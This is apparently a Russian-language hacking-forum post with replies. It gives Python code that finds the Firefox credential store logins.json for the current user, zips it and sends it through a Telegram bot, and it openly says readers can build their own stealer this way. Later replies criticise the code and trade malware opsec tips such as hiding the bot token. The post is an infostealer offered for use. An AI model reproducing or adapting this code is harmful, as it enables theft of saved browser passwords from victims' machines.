Рекурсия и поиск нужных файлов

T

to_0day

1611239900100.png

Введение

Добрый вечер, дорогие форумчане. Давно не писал сюда контента, но вот пришел момент поделиться интересным материалам. Совсем недавно задумался над тем, как найти нужный файл в системе используя лишь среду разработки и прямые руки. Допустим вы хотите взять интересный файл и отправить его себе в любое место. Знаете примерное расположения но проблема заключается в том, что путь известен частично. И в данной статье мы постараемся решить проблему с поиском файлов используя рекурсивный подход к решению задачи.

Основная часть

Для примера я постараюсь найти и отправить себе файл логинов (logins.json) из браузера Firefox. Расположение по которому находиться данный файл выглядит примерно так:

C:\Users\AppData\Roaming\Mozilla\Firefox\Profiles\набор_символов.default-release

На каждом устройстве папка имеет разное название, это и затрудняет доступ к файлу. По мимо этого мы должны знать имя пользователя, что зарегистрирован в системе. Для этого будем использовать небольшое количество библиотек и 32 строчки кода. Ну а отправку данных осуществим в мой любимый Telegram при помощи обычного бота. Как его создать вы можете прочесть в сети, поэтому заострять внимания не стану. Чтобы не превышать лимит отправки сообщения добавим в архив данные. Чтобы было меньше слов приступим к делу. Сначала импортируем библиотеки:
Python:
import getpass
import telebot
import glob
import zipfile
import os
Getpass поможет нам определить имя пользователя, а glob найдет файл. Все остальное уже знакомо и не первый раз встречается в моем коде. Далее нам нужно задать переменные, с которыми будет работать в дальнейшем. А начнем с подключения бота:
Python:
bot = telebot.TeleBot("token")
А далее начинается самое интересное. Используя рекурсивный метод поиска файлов мы создадим список с расположением нашего файла. Выглядит он примерно так:

['C:\Users\AppData\Roaming\Mozilla\Firefox\Profiles\набор_символов.default-release']

Многим данный вид списка может быть неизвестный, носит названия он кортеж (последовательность неизменяемых объектов). Теперь переходим к созданию такого формата пути вместе с нашим файлом:
Python:
name = getpass.getuser()    # Узнаем имя пользователя
save = glob.glob(f"C:\\Users\\{name}\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\**\\logins.json", recursive=True)
Но в дальнейшем наша программа не сможет работать с таким форматом, поэтому переводим его в более читаемый, удаляя скобки и кавычки:
Python:
cookies = ''.join(save)
Остается добавить в архив полученный файл и отправить его удобным путем. Для этого потребуется zipfile:
Python:
archive = zipfile.ZipFile(r'C:\Temp\backup.zip', 'w')    # Можно указать свой путь
archive.write(cookies)
archive.close()
Ну и в итоге завершаем наш код при помощи отправки всего добытого в Telegram:
Python:
@bot.message_handler(commands=['start'])
def start_message(message):
    upfile = open("C:\\Temp\\backup.zip", "rb")

    bot.send_document(message.chat.id, upfile)

    upfile.close()

    os.remove("C:\\Temp\\backup.zip")

    bot.stop_polling()


bot.polling()
Но у многих могут возникнуть недочеты и вопросы. Как это применять? Вы можете на основе этого создать свой стиллер. Для этого заставьте программу искать в папке не конкретный файл, а расширения, что имеются там.
Python:
import getpass
import glob

name = getpass.getuser()
save = glob.glob(f"C:\\Users\\{name}\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\**\\**.json", recursive=True)
print(save)
Восстановить данные после получения поможет . Но важно помнить, что программа копирует весь каталог включая папки. Проще говоря вы получите полный путь к данным. Будьте осторожны и рассчитывайте данные перед отправкой, чтобы избежать ошибок.

Вывод

В этой небольшой статье я постарался максимально точно поделиться своим опытом, что может предотвратить множество ошибок и вопросов. Надеюсь данная информация была полезна вам.
 
Какие-то обрывки мыслей, выдаваемые за что-то интересное.
Неужели эти обрывки мыслей кому-то интересны ?
Выкладывай код полностью - вот тогда почитаем, покритикуем.
Эта статья даже критики недостойна. Палец вниз.
 
  • Нравится
Реакции: f22
Какие-то обрывки мыслей, выдаваемые за что-то интересное.
Неужели эти обрывки мыслей кому-то интересны ?
Выкладывай код полностью - вот тогда почитаем, покритикуем.
Эта статья даже критики недостойна. Палец вниз.
Где то меня уже критиковали за полностью слитый код. Для этого есть прежде всего Github (копируем исходники себе и мы в шоколаде). А так, тут думай сам, что и как складывать.
 
Не пойму: мало того, что ты выложил какие-то обрывки мыслей и назвал это "статьёй", так ты ещё и слил эти обрывки с гитхаба ? Это не твои мысли ?
Чувак, у тебя явные проблемы со способами донести свои мысли до читателя.
 
Не пойму: мало того, что ты выложил какие-то обрывки мыслей и назвал это "статьёй", так ты ещё и слил эти обрывки с гитхаба ? Это не твои мысли ?
Чувак, у тебя явные проблемы со способами донести свои мысли до читателя.
Они не с гитхаба) Мысли мои так что можешь не бояться
 
Запихнуть в питоновский стиллер токен бота, это гениально конечно.
Сделано наверное для того, чтобы можно было сдеанонить владельца стилера и поскачивать все логи заодно. Вообще крутяк.
Забудьте про сохранение токенов и ключей авторизации в малвари. Это я к слову о стиллере. (Точно есть как минимум 1 метод, который не заставляет вас палить токен бота, но при этом вы получите в телеграм)

А по теме, то я могу сказать, что такие вещи на пайтоне делать довольно непрактично)
Из-за скорости. С такой же задачей справиться любой ребенок на плюсах, который умеет читать документацию.
Это будет куда быстрее)

Всё же я считаю, что тема не полная. Сделать тему, ради 1 рекурсии это как-то странно. Понимаю, что гайд расчитан на новичков, но всё же. Лично я жду чего-то более интересного)
 
  • Нравится
Реакции: TR1X
стилер в 8 строк интересное заявление проверять я его конечно не буду)
 
Запихнуть в питоновский стиллер токен бота, это гениально конечно.
Сделано наверное для того, чтобы можно было сдеанонить владельца стилера и поскачивать все логи заодно. Вообще крутяк.
Забудьте про сохранение токенов и ключей авторизации в малвари. Это я к слову о стиллере. (Точно есть как минимум 1 метод, который не заставляет вас палить токен бота, но при этом вы получите в телеграм)

А по теме, то я могу сказать, что такие вещи на пайтоне делать довольно непрактично)
Из-за скорости. С такой же задачей справиться любой ребенок на плюсах, который умеет читать документацию.
Это будет куда быстрее)

Всё же я считаю, что тема не полная. Сделать тему, ради 1 рекурсии это как-то странно. Понимаю, что гайд расчитан на новичков, но всё же. Лично я жду чего-то более интересного)

И какой же это способ? Только не говорите что это env (c)
 
Мы в соцсетях:

Обучение наступательной кибербезопасности в игровой форме. Начать игру!